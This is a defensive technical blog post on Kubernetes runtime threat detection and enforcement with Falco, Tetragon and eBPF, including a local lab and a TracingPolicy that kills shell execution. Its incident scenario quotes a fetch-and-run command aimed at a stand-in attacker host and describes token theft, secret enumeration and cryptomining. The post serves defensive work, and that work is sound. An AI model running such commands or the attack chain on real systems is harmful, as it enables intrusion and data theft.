title: "Kubernetes Runtime Security at Scale: Falco, Tetragon, and eBPF-Native Threat Detection" date: 2026-09-12 tags: [Kubernetes, eBPF, Falco, Tetragon, Runtime Security, DevSecOps, Cilium, CNCF] cover: ../images/falco-tetragon-ebpf-runtime-security-cover.png

Kubernetes Runtime Security at Scale: Falco, Tetragon, and eBPF-Native Threat Detection

1. Topic of the Day

Every prior session in this series that touched security (Sigstore/SLSA supply chain, IRSA/Workload Identity) answered "how do we stop bad things from getting into the cluster." Runtime security answers a different question: what do we do about the container that's already running and just executed a reverse shell? Admission control, image signing, and RBAC are all pre-execution controls — they're necessary but they assume the attacker doesn't get a foothold. In production, they always eventually do: a vulnerable dependency in a legitimately-signed image, a leaked service account token, a supply-chain compromise upstream of your registry. Runtime security is the layer that watches what's actually happening on the box, in the kernel, in real time.

eBPF made this tractable at scale. Before eBPF, runtime security meant kernel modules (fragile, version-locked to kernel ABI, a support nightmare across a heterogeneous node fleet) or ptrace-based tracing (prohibitively slow, one tracer per traced process). eBPF lets you attach verified, JIT-compiled programs to syscall tracepoints, kprobes, and network hooks with near-zero overhead, without touching kernel source or loading an out-of-tree module. That's why Falco (CNCF-graduated in 2024, now on its modern eBPF driver by default as of the 0.40 line) and Tetragon (Isovalent/Cilium's eBPF-native runtime security and enforcement engine) have become the two projects every serious platform team evaluates for this layer.

The distinction that matters operationally: Falco is fundamentally a detection engine — it observes syscalls, evaluates them against a rules engine, and emits alerts. Tetragon can do detection too, but its differentiator is in-kernel enforcement — a TracingPolicy can kill or block a syscall before it completes, not just alert after the fact. In 2026's landscape, the dominant enterprise pattern isn't "pick one" — it's Falco for broad rule-based detection and audit-log correlation, Tetragon for surgical, low-latency enforcement on a small set of high-confidence, high-severity syscalls (e.g., "never allow execve of a shell inside this payment-processing container"). Netflix, Uber-scale platform teams, and every regulated-industry Kubernetes fleet (finance, healthcare) run some variant of this pairing today, usually fronted by a response-automation layer (Falco Talon) that turns detection into containment without waiting for a human to page in at 3 AM.

2. Real Business Problem

Scenario: A mid-size fintech runs 40 EKS clusters across 3 regions, PCI-DSS scoped. Here's the incident that gets a runtime security program funded after the fact instead of before:

• Week 1: A third-party npm dependency in a payments microservice is compromised upstream (a maintainer account takeover, not a vuln in your code). The malicious postinstall script runs during the CI build, but since the image is built from a trusted base and passes Cosign signature verification and Trivy CVE scanning (no known CVE — it's a zero-day supply-chain injection), it sails through admission control clean.
• Week 2: The compromised pod executes a cryptominer binary written to /tmp, then pivots: it reads the pod's projected service account token, calls the Kubernetes API to enumerate secrets in-namespace, and finds a database credential. Nothing in this chain violates a NetworkPolicy (API server access is allowed for the pod's legitimate function) or an RBAC binding (the SA has read access to its own namespace's secrets, which is normal for the app). Admission control had nothing to say — every object was already "allowed."
• Week 3: Cost anomaly detection (not security tooling — the finance team) flags a 40% spike in EC2 spend across the cluster's node pool. Investigation traces it to sustained 100% CPU on a subset of pods. By the time anyone connects this to a compromise, the attacker has had persistent access for two weeks, and the actual scope of data access is unknown because there is no syscall-level record of what the process actually did — only Kubernetes audit logs (which show "pod created," not "pod executed curl attacker.io | sh").
• The actual incident-response gap: post-mortem reveals nobody can answer "did this process read /etc/shadow," "did it open a raw socket," or "what was the full process ancestry of the miner binary" — because nothing was capturing syscalls. The signing and scanning pipeline (which was solid) protected the build, not the runtime.

This is the canonical argument for runtime security: supply-chain and admission controls answer "should this be allowed to start," and runtime security answers "what is this doing right now, and can we stop it in milliseconds, not weeks."

3. Production Architecture

Architecture image: blogs/architecture/falco-tetragon-ebpf-runtime-security-architecture.png

Layer 1 — Workload: Application pods run unmodified — no sidecar injection is required for detection (a key operational advantage over service-mesh-based approaches), because the observation point is the kernel, not the network path. The Kubernetes API server audit log is the second workload-adjacent signal source, ingested via Falco's k8saudit plugin to correlate control-plane actions (who ran kubectl exec, who read a secret via the API) with kernel-level syscall events from the same pod.

Layer 2 — Node data plane (the core of the design): Falco and Tetragon both run as DaemonSets, one instance per node, each loading eBPF programs at node boot that attach to syscall tracepoints (sys_enter/sys_exit) and select kprobes (e.g., security_socket_connect for network events, taskstats for process lifecycle). Falco's modern eBPF driver (CO-RE — Compile Once, Run Everywhere) means one compiled probe works across kernel versions without per-kernel builds, which used to be Falco's biggest operational tax when it relied on the older kernel-module or legacy-eBPF drivers pinned to specific kernel headers. Both tools enrich raw syscall events with container context (pod name, namespace, image, labels) by querying the container runtime socket (containerd/CRI-O), so an alert reads "process X in pod payments-7d9f executed /bin/sh" rather than a bare PID.

Layer 3 — Detection and policy engine: Falco evaluates enriched events against YAML rule sets (Sigma-like condition syntax over process tree, syscall arguments, and container metadata) — rules like "shell spawned in container" or "outbound connection to non-allowlisted CIDR from a database pod." Tetragon's TracingPolicy CRDs define both observation and, critically, enforcement actions (Sigkill, Override to force a syscall to return an error instead of executing) evaluated in-kernel before the syscall completes — this is the mechanism that makes Tetragon suitable for hard-blocking known-bad patterns (e.g., execve of /bin/sh in a container tagged no-shell) with sub-millisecond latency, versus Falco's alert-after-the-fact model. Rule and policy delivery is GitOps-managed (ArgoCD syncing rule bundles from a reviewed Git repo), so a rule change is auditable and revertible exactly like an application deployment.

Layer 4 — Event pipeline and automated response: Falcosidekick fans alerts out to 50+ possible sinks (Slack, PagerDuty, S3, Kafka), runs as multiple replicas behind a Service for HA, and does dedup/rate-limiting so an alert storm (e.g., a noisy rule firing thousands of times during a legitimate batch job) doesn't overwhelm downstream consumers. Falco Talon is the response-automation layer: it subscribes to the alert stream and executes bounded actions — label the offending pod for quarantine, delete it, or push a CiliumNetworkPolicy that cuts egress for that specific pod — closing the loop from detection to containment without human intervention for well-understood, high-confidence rule matches.

Layer 5 — Fleet aggregation and multi-region: each region's Falcosidekick writes to local storage/queue first, so a cross-region network partition never blocks local detection or response — this is a hard requirement, not an optimization, because security tooling that fails open during a WAN outage is worse than no tooling. Events replicate asynchronously into a central SIEM (OpenSearch or Splunk) for cross-cluster correlation, long-term retention (a PCI-DSS/SOC2 audit requirement), and threat-hunting queries that span the whole fleet rather than one cluster.

Layer 6 — Security boundaries and governance: Falco's DaemonSet service account is read-only (it can watch pods/read the container runtime socket but has no write RBAC at all); Talon's service account is scoped to exactly the response verbs it needs (label, delete pod, create NetworkPolicy) and nothing else — the automation that contains an attacker must not itself become a high-value target with broad permissions. New rules are always deployed in "audit-only" mode against production traffic first, with a baseline period to measure false-positive rate before flipping to blocking/enforcing mode — the single most important operational discipline in this whole architecture, covered in depth in Section 11.

Why this shape, and how it evolves: the per-node DaemonSet model has no single point of failure by construction — one node's Falco process crashing doesn't blind any other node — which is why this beats any centralized network-tap or agent-per-cluster approach at scale. As the fleet grows past a few hundred nodes, the bottleneck shifts from the detection layer (which scales linearly and trivially with node count) to the event pipeline and SIEM ingestion — Kafka partition count and OpenSearch shard/index lifecycle management become the actual scaling problem, not eBPF overhead.

4. Solution Design

Design decisions and alternatives:

Scalability considerations: per-node eBPF overhead is the thing to benchmark before rollout, not assume — Falco's modern eBPF driver typically costs low single-digit percent CPU per node under normal syscall volume, but syscall-heavy workloads (high-frequency trading, dense microservice meshes with excessive process forking) need load testing before fleet-wide enablement. The event pipeline (Falcosidekick → Kafka → SIEM) scales independently of the detection layer and is where capacity planning effort should actually go.

Cost implications: the marginal compute cost of eBPF probes is genuinely small; the real cost driver is SIEM ingestion and retention — high-cardinality, high-volume security event streams at PCI/SOC2 retention windows (often 1+ year) are a significant and easily underestimated line item. Tuning rule specificity to reduce noise before it hits the SIEM is a cost-optimization lever, not just a signal-quality one.

Security implications: the detection/response layer itself becomes an attack surface — Falco's and Talon's service accounts, if over-privileged, are exactly the kind of high-value target an attacker who's already inside would go after next; least-privilege scoping of these components is not optional.

Performance implications: Tetragon's Override action (forcing a syscall to fail) must be reserved for cases with essentially zero false-positive tolerance for legitimate traffic, because unlike an alert, an override has an immediate, visible, production-breaking effect if the policy is wrong.

5. Deep Technical Walkthrough

Internal working — how an eBPF-based syscall observation actually happens:

1. At Falco/Tetragon pod startup, the eBPF loader (using libbpf/CO-RE) reads the compiled BTF (BPF Type Format) metadata embedded in the probe object, adapts field offsets to the running kernel's actual struct layouts without recompilation, and loads the program into the kernel via the bpf() syscall.
2. The kernel's eBPF verifier statically analyzes the program — checks for bounded loops, valid memory access, no unreachable code — and rejects anything that could crash or hang the kernel. This verification step is why eBPF is safe to run in production at the kernel level where a kernel module bug would panic the box: a rejected program simply fails to load.
3. The verified program attaches to tracepoints (e.g., sys_enter_execve) or kprobes. From this point, every matching syscall on that node triggers the eBPF program synchronously, in-kernel, before or after the syscall executes depending on hook type.
4. The eBPF program writes event data into a ring buffer (BPF_MAP_TYPE_RINGBUF in modern deployments — a major perf improvement over the older perf-buffer approach) shared with userspace.
5. The userspace Falco/Tetragon process reads the ring buffer, enriches the raw event (PID, syscall args) with container/pod metadata pulled from the container runtime's CRI socket and a local cache of pod specs (watched via the Kubernetes API), and passes it to the rule engine.
6. Falco's rule engine evaluates the enriched event against loaded rules (condition matching on process ancestry, syscall type, file paths, network endpoints) and emits a structured alert (JSON) to configured outputs if matched. Tetragon's in-kernel policy evaluation is different in kind: for enforcement policies, the match-and-action decision happens inside the eBPF program itself, before the syscall returns to userspace — this is what enables kill-before-completion semantics that a userspace-only detection loop structurally cannot achieve (by the time a userspace alert fires, the syscall has already completed).

Control plane vs. data plane: the Kubernetes API server and the k8saudit plugin represent the control-plane signal (what was requested via the API — kubectl exec, secret reads, RBAC changes); the eBPF-based syscall stream is the data-plane signal (what the kernel actually executed). The most dangerous gaps are found by correlating both: an audit log showing a legitimate kubectl exec into a pod followed by a syscall stream showing that exec session spawning a reverse shell and reading /etc/shadow is a much stronger signal than either source alone.

Failure scenarios and recovery:

• Falco/Tetragon DaemonSet pod crash on a node: that node loses detection coverage until the pod restarts (Kubernetes restarts it per the DaemonSet's pod spec); this is a blind spot, not a cluster-wide outage — the failure is isolated to one node, which is the entire point of the per-node design. Alerting on Falco/Tetragon's own liveness (self-monitoring) closes this gap.
• Ring buffer overflow under extreme syscall burst: if userspace can't drain the ring buffer fast enough (e.g., a fork bomb or syscall-heavy workload), events are dropped rather than blocking the kernel — Falco exposes a n_drops metric specifically for this; a rising drop rate is a leading indicator that detection coverage is degrading before it becomes a total blind spot.
• Falcosidekick/Kafka backpressure: during an alert storm, Falcosidekick's rate-limiting protects downstream systems but means some alerts are dropped at the edge, not just delayed — for high-severity rules, route to a separate high-priority output path that bypasses general rate-limiting.
• Tetragon enforcement policy false positive in production: the Override action fires against legitimate traffic — recovery is "revert the policy via GitOps and redeploy," but the blast radius during the window it was live can include failed requests/crashed processes for legitimate workloads, which is exactly why audit-mode staging (Section 4) is non-negotiable.

Performance bottlenecks at scale: eBPF program execution overhead per syscall (typically negligible per-event but additive at extreme syscall rates), ring buffer sizing (undersized buffers under load cause drops before CPU becomes the constraint), and userspace enrichment cost (looking up container metadata per event — cached/indexed lookups matter far more here than at low event volume).

6. Production Troubleshooting

Symptom: Falco alert volume for a specific rule spikes 50x on one node pool starting at a specific deploy, and the on-call is paging out for what looks like an attack but might be a false positive from a legitimate app behavior change.

Investigation path a senior platform/security engineer follows:

1. Check the raw alert payload, not just the summary:

   kubectl logs -n falco -l app=falco --since=1h | grep '"priority":"Critical"' | jq '.output_fields'
   

   Look at proc.cmdline, proc.pname (parent process), and container.image.repository — this immediately tells you if it's the same command/image on every hit (consistent with a legitimate app doing something new after a deploy) versus varied/suspicious command lines (consistent with active exploitation).

2. Correlate with the deploy timeline:

   kubectl rollout history deployment/<app> -n <ns>
   

   If the alert onset lines up exactly with a deploy timestamp, pull the diff — a new dependency, a new subprocess call (e.g., a library that shells out to ffmpeg or imagemagick), or a base image change that altered default shell behavior are all common causes of "new legitimate behavior trips an old rule."

3. Check Falco's own health metrics before assuming the detection is accurate:

   kubectl exec -n falco <falco-pod> -- falcoctl metrics
   

   Look at n_drops (ring buffer overflow — if non-zero, some fraction of what you're seeing may be an undercount, not overcount, of the real event volume) and n_evts (raw throughput) to rule out a measurement artifact.

4. Cross-reference with Tetragon's process tree view if enforcement is in play:

   kubectl exec -n kube-system <tetragon-pod> -- tetra getevents -o compact | grep <pod-name>
   

   Tetragon's process lineage view answers "what's the full ancestry of this process" far more directly than reconstructing it from Falco's flat alert stream.

5. Decide: tune the rule or escalate. If it's confirmed legitimate (new library behavior), add a scoped exception (match on the specific image + command, not a blanket rule disable) via the GitOps-managed rule repo, and require the rule change go through the same review as the original rule. If it's not explainable by a deploy, escalate to full incident response — pull the container image for forensic analysis, check the K8s audit log for how the pod was created/modified, and check Tetragon's network event stream for any outbound connections from the flagged process.

Common root causes ranked by frequency in practice: (1) legitimate app behavior change after a deploy — by far the most common; (2) an overly broad rule with no image/namespace scoping firing on unrelated normal activity; (3) an actual compromise, which is rare relative to (1) and (2) but is exactly why the triage discipline above — check the deploy timeline and image scope before assuming attack — has to be fast and routine, not a fire drill every time.

7. Hands-on Lab

Goal: stand up Falco with the modern eBPF driver, add Tetragon for enforcement, generate a detected event, and validate an automated response via Talon — all on a local kind cluster.

# 1. Create a local cluster
kind create cluster --name runtime-sec-lab

# 2. Install Falco via Helm with the modern eBPF driver
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update
helm install falco falcosecurity/falco \
  --namespace falco --create-namespace \
  --set driver.kind=modern_ebpf \
  --set tty=true

# 3. Verify Falco is running and loaded its probe
kubectl -n falco logs -l app.kubernetes.io/name=falco | grep -i "Loaded event sources"

# 4. Install Falcosidekick for alert routing (fan out to a local UI for the lab)
helm install falcosidekick falcosecurity/falcosidekick \
  --namespace falco \
  --set config.slack.webhookurl="" \
  --set webui.enabled=true

# 5. Install Tetragon via Helm
helm repo add cilium https://helm.cilium.io
helm install tetragon cilium/tetragon --namespace kube-system

# 6. Apply a Tetragon enforcement policy: block shell execution in a labeled namespace
cat <<'EOF' | kubectl apply -f -
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: block-shell-exec
spec:
  kprobes:
  - call: "sys_execve"
    syscall: true
    args:
    - index: 0
      type: "string"
    selectors:
    - matchArgs:
      - index: 0
        operator: "Postfix"
        values:
        - "/bin/sh"
        - "/bin/bash"
      matchActions:
      - action: Sigkill
EOF

# 7. Trigger a Falco detection: spawn a shell in a throwaway pod
kubectl run attacker-sim --image=alpine --restart=Never -- sleep 3600
kubectl exec attacker-sim -- /bin/sh -c "echo triggering detection"

# 8. Check Falco caught it
kubectl -n falco logs -l app.kubernetes.io/name=falco --tail=20 | grep -i "shell"

# 9. Check Tetragon enforcement (the exec should be killed if the policy matched)
kubectl exec -n kube-system tetragon-xxxx -- tetra getevents -o compact | grep execve

# 10. Validation: confirm the alert reached Falcosidekick's UI
kubectl -n falco port-forward svc/falcosidekick-ui 2802:2802
# open http://localhost:2802 and confirm the shell-exec alert is present

# Cleanup
kubectl delete pod attacker-sim
kubectl delete tracingpolicy block-shell-exec
kind delete cluster --name runtime-sec-lab

What to validate: that Falco's alert fired with correct pod/container enrichment (not just a bare PID), that the Tetragon policy either killed the shell exec or logged the match (depending on the action), and that Falcosidekick correctly routed the alert. Running this in a lab before touching production rules is exactly the audit-mode discipline from Section 4, just compressed into a five-minute loop.

8. Production Case Study

Large-scale technology companies operating multi-tenant Kubernetes at the scale of Google's GKE, Netflix's Titus-adjacent infrastructure, or major cloud providers' internal platforms converge on the same shape described in Section 3, for a structural reason: at thousands of nodes and hundreds of tenant teams, you cannot rely on any control that requires per-team opt-in or per-service configuration — runtime detection has to be a platform-provided, always-on capability that tenants can't disable, layered underneath whatever network or admission policies individual teams manage themselves. This is the same principle that drove Netflix's early adoption of host-level intrusion detection well before Kubernetes-native tooling matured, and it's why cloud providers increasingly ship managed eBPF-based runtime security as a cluster add-on (comparable to how GuardDuty for EKS or Microsoft Defender for Containers integrate at the control-plane level) rather than expecting every tenant team to deploy their own Falco stack correctly.

The other consistent pattern at this scale: enforcement is applied far more conservatively than detection. Organizations running Tetragon-style in-kernel blocking in production typically limit hard-enforcement policies to a small, centrally-owned set of "never event" rules (crypto-mining binary signatures, known C2 beacon patterns, privilege escalation via known CVE exploitation chains) rather than broad application-specific policies — broad enforcement is left to detection-plus-automated-response (Talon-style pod quarantine) specifically because the blast radius of a false-positive kill is more containable than the blast radius of a false-positive block on a shared, centrally-deployed enforcement rule affecting every tenant simultaneously.

9. Architecture Review

Strengths: no single point of failure in the detection layer (per-node DaemonSet architecture), no application code changes or sidecar injection required, kernel-level visibility that's structurally impossible to evade from inside a compromised container (a process cannot un-execute its own syscalls), and a clean separation between detection (Falco, broad coverage) and enforcement (Tetragon, narrow and high-confidence) that matches the actual risk tolerance for each.

Weaknesses: the event pipeline (Falcosidekick → Kafka → SIEM) is a shared-fate dependency across the whole fleet — if SIEM ingestion falls behind, cross-cluster threat-hunting degrades even though local per-node detection keeps working; rule quality is entirely dependent on human curation and tuning discipline, and a poorly-maintained ruleset either misses real threats (too permissive) or burns out on-call engineers with false positives (too aggressive) — there's no automatic correctness here; and eBPF's kernel-version dependency, while much better with CO-RE, still means a sufficiently exotic or very old kernel can fail to support required BPF features.

What fails first at 10x scale: the SIEM/event-pipeline layer, specifically index/shard management and query latency for cross-cluster correlation — not the eBPF detection layer itself, which scales near-linearly with node count. Alert fatigue also fails first organizationally: at 10x the fleet size without a proportional investment in rule tuning and automated response coverage, the signal-to-noise ratio degrades and teams start ignoring alerts, which is a security failure mode independent of any technical limit.

How it changes at 100M-user scale: rule management moves from "reviewed via GitOps by a central security team" to requiring a self-service policy framework with guardrails (tenant teams propose scoped rules within a centrally-defined blast-radius limit, similar to how large orgs handle IAM policy delegation), because a fully centralized security team cannot review rule changes at the velocity hundreds of independent teams need. The SIEM likely federates into a tiered model (per-region hot storage with short retention, centralized cold storage for compliance-window retention) purely for cost and query-latency reasons.

What would be redesigned: invest earlier in automated rule-quality feedback (tracking false-positive rate per rule as a first-class metric, not an afterthought) and in a formal enforcement policy review/staging pipeline analogous to progressive delivery for application code — canary a new Tetragon enforcement policy against a single node pool or namespace before fleet-wide rollout, exactly like a canary deployment, rather than the current common practice of audit-mode-then-flip-globally.

10. Best Practices

Runtime security only pays off if it's boring and reliable enough to actually be trusted — a system that pages engineers at 3 AM for false positives gets its alerts routed to a muted channel within a month, which is worse than not deploying it at all. On reliability, the discipline is: DaemonSet resource requests/limits sized from real load-tested overhead numbers (not defaults), self-monitoring for the detection tooling's own liveness, and Falcosidekick/Kafka scaled for burst capacity, not steady-state average. On scalability, treat the detection layer and the event pipeline as independently scaled systems — the eBPF probes scale with node count almost for free, but SIEM ingestion, indexing, and retention need their own capacity planning cycle, budget line, and on-call ownership.

On observability, alert on the detection system's own health (ring buffer drop rate, DaemonSet pod restart count, Falcosidekick queue depth) with the same rigor as application SLOs — a silently-failing detection layer is far more dangerous than an obviously-broken one, because the false sense of coverage persists until an incident post-mortem reveals the gap. On security, apply least-privilege to the detection and response tooling itself (scoped RBAC for Falco and Talon service accounts) and treat rule/policy changes as code — GitOps-managed, reviewed, versioned, revertible. On cost, tune rule specificity and SIEM retention windows deliberately rather than defaulting to "log everything forever," and measure the actual cost-per-GB of your security event pipeline the same way you'd measure any other infrastructure line item. On maintainability and operational excellence, stage every new enforcement policy through an audit-only period with a measured false-positive baseline before enabling blocking mode, and build the muscle of treating a new rule rollout with the same canary discipline as an application deployment — because in practice, that discipline is the difference between runtime security that survives contact with production and runtime security that gets disabled after the first bad outage it causes.

11. Common Production Mistakes

The most common and costly mistake is enabling Tetragon (or any enforcement-capable tool) in blocking mode immediately, without an audit-only baseline period — this reliably causes a production outage from a false positive within the first month, and the resulting incident often leads to the entire runtime security program being paused or scaled back, which is a far worse long-term outcome than a slower, staged rollout. A close second is deploying Falco with default/out-of-the-box rules unmodified — the stock ruleset is a reasonable starting point but is not tuned to your specific workloads, and running it unmodified in a Kubernetes environment with legitimate but unusual container behaviors (debug sidecars that legitimately spawn shells, init containers doing setup work that trips privilege-escalation rules) generates enough noise that teams disable rules wholesale rather than scoping them properly.

A third mistake is treating the alert pipeline as fire-and-forget — deploying Falco and Falcosidekick, confirming alerts flow to Slack, and never revisiting rule quality, false-positive rates, or coverage gaps as the application fleet evolves; rules rot exactly like any other configuration that isn't actively maintained. A fourth is over-privileging the response automation layer (Talon or custom webhook receivers) with broad delete/exec permissions across the cluster "to make automation easier," which turns the security tooling itself into the highest-value target for an attacker who's already gained a foothold — the automation should have exactly the verbs it needs and nothing more. Finally, teams frequently underinvest in the SIEM/retention layer relative to the detection layer — standing up Falco fleet-wide but routing alerts to a single Slack channel with no durable, queryable, long-retention store means you have real-time visibility but no forensic capability after the fact, which fails the compliance and incident-response use cases that justified the investment in the first place.

12. Interview Preparation

Q: Explain the architectural difference between Falco and Tetragon, and when you'd deploy one, the other, or both. A: Falco is primarily a detection engine — it observes enriched syscall events against a rules engine and emits alerts after the syscall has already executed; its strength is broad rule coverage and a mature community ruleset, and its typical deployment is "always on, alert-only." Tetragon is eBPF-native like Falco but its differentiator is in-kernel enforcement: a TracingPolicy can evaluate and act (Sigkill, Override) before the syscall completes, which Falco's userspace-evaluation model cannot do. In practice, most production fleets run both: Falco for broad detection and audit-log correlation, Tetragon narrowly scoped to a small number of high-confidence "never event" rules where blocking before completion matters more than the risk of a false-positive block.

Q: Why does eBPF-based detection not require a sidecar, and why does that matter operationally? A: The observation point is the kernel syscall interface, not the network path, so there's no need to inject a proxy into the pod's network namespace or modify the pod spec at all — this means zero per-team opt-in friction (a platform team can enable it fleet-wide without touching application deployments) and no added network latency or connection-handling complexity that a sidecar-based approach (like a service mesh) would introduce.

Q: How does the eBPF verifier prevent a bad program from crashing the kernel, and why does that matter for adopting this in a large, heterogeneous fleet? A: Before loading, the kernel's eBPF verifier statically analyzes the program for bounded execution (no unbounded loops), valid memory access patterns, and reachability — a program that could hang or crash the kernel is rejected at load time rather than causing a runtime failure. This is what makes it operationally viable to run kernel-level instrumentation across thousands of heterogeneous nodes without the fragility and support burden of custom kernel modules, which have no equivalent safety guarantee and historically caused kernel panics when kernel versions drifted from what the module was built against.

Q: A new Falco rule is generating too many false positives in production. Walk through your triage and remediation process. A: First, pull the raw alert payload (not just the alert summary) and look at process command line, parent process, and container image to determine if the same legitimate behavior is triggering every hit. Cross-reference the onset timing against recent deploys — a new dependency or base image change is the most common cause. Check the detection tool's own health metrics (ring buffer drop rate) to rule out a measurement artifact. If confirmed as a false positive from legitimate behavior, scope an exception narrowly (by image and command, not a blanket rule disable) and push it through the same GitOps review process as the original rule, rather than disabling the rule cluster-wide, which would create a real coverage gap to fix a noise problem.

Q: How would you stage the rollout of a new enforcement (blocking) policy to avoid a production outage? A: Deploy the policy in audit/observe-only mode first against real production traffic, measure the false-positive rate over a representative time window (covering weekly/deploy-cycle variance, not just a few hours), then canary the blocking action to a single low-risk namespace or node pool before fleet-wide enablement — treating the rollout with the same staged, revertible discipline as a progressive application deployment (canary analysis, automated rollback triggers) rather than a global flag flip.

13. Latest Industry Updates

Falco's transition to the modern eBPF driver as the default (as of the 0.40 release line) meaningfully reduced CPU and memory overhead compared to the legacy eBPF and kernel-module drivers, removing one of the biggest historical objections to fleet-wide enablement — this matters because overhead concerns were the most common reason platform teams delayed or scoped-down runtime security rollouts. Tetragon's continued growth out of the Cilium/Isovalent ecosystem has pushed the "detection plus enforcement, both eBPF-native, both CNCF-adjacent" pattern further into mainstream adoption, with more teams pairing it directly with Cilium's existing eBPF dataplane for network policy so the network-block and process-block enforcement paths share the same underlying technology and operational model.

Beyond this specific pair, the broader trend worth tracking is convergence between runtime security and the AI infrastructure layers covered elsewhere in this series — GPU workloads and multi-tenant AI serving platforms (KServe, Ray, vLLM deployments covered in prior sessions) are increasingly a target for the exact class of attack in Section 2 (compromised dependency leading to resource-hijacking, in this case for unauthorized GPU compute rather than CPU mining, which is meaningfully more expensive to lose to an attacker). Expect eBPF-based runtime security to extend more explicitly into GPU-aware detection (unusual CUDA driver interaction patterns, anomalous NVLink/network traffic from inference pods) as AI workloads become a larger fraction of production Kubernetes fleets and a correspondingly larger target.

14. Summary & Cheat Sheet

Key concepts: runtime security answers "what is this process doing right now," which admission control and image signing structurally cannot — they only gate what starts, not what a started process subsequently does. eBPF makes kernel-level syscall observation and enforcement practical at fleet scale via CO-RE portability and verifier-guaranteed safety, replacing fragile kernel modules and slow ptrace-based tracing.

Architecture in one line: syscall → eBPF probe (Falco for detection, Tetragon for enforcement) → rules/policy engine → Falcosidekick/Talon response pipeline → fleet-wide SIEM, with per-node DaemonSets giving no single point of failure.

Falco vs. Tetragon:

Key commands:

falcoctl metrics                                    # check drop rate / throughput
kubectl logs -n falco -l app=falco | jq '.output_fields'   # inspect alert payload
tetra getevents -o compact                          # Tetragon process/event stream
kubectl apply -f tracingpolicy.yaml                 # deploy enforcement policy

Best-practice checklist:

• New rules/policies: audit-only mode first, measured false-positive baseline, then canary blocking to one namespace/node pool.
• RBAC: Falco read-only; Talon/response automation scoped to exactly its required verbs.
• Monitor the detection layer's own health (ring buffer drops, DaemonSet restarts) as a first-class SLO.
• Treat rules as code: GitOps-managed, reviewed, versioned, revertible.
• Separate capacity planning for the detection layer (scales with nodes, cheap) versus the event pipeline/SIEM (scales with event volume and retention, expensive).

Troubleshooting checklist for an alert spike:

1. Pull raw alert payload — check proc.cmdline, proc.pname, container.image.repository.
2. Correlate timing against recent deploys.
3. Check the tool's own drop/health metrics before trusting the volume.
4. Cross-reference process ancestry via Tetragon if enforcement is involved.
5. Scope an exception narrowly, or escalate to full incident response — don't disable the rule wholesale.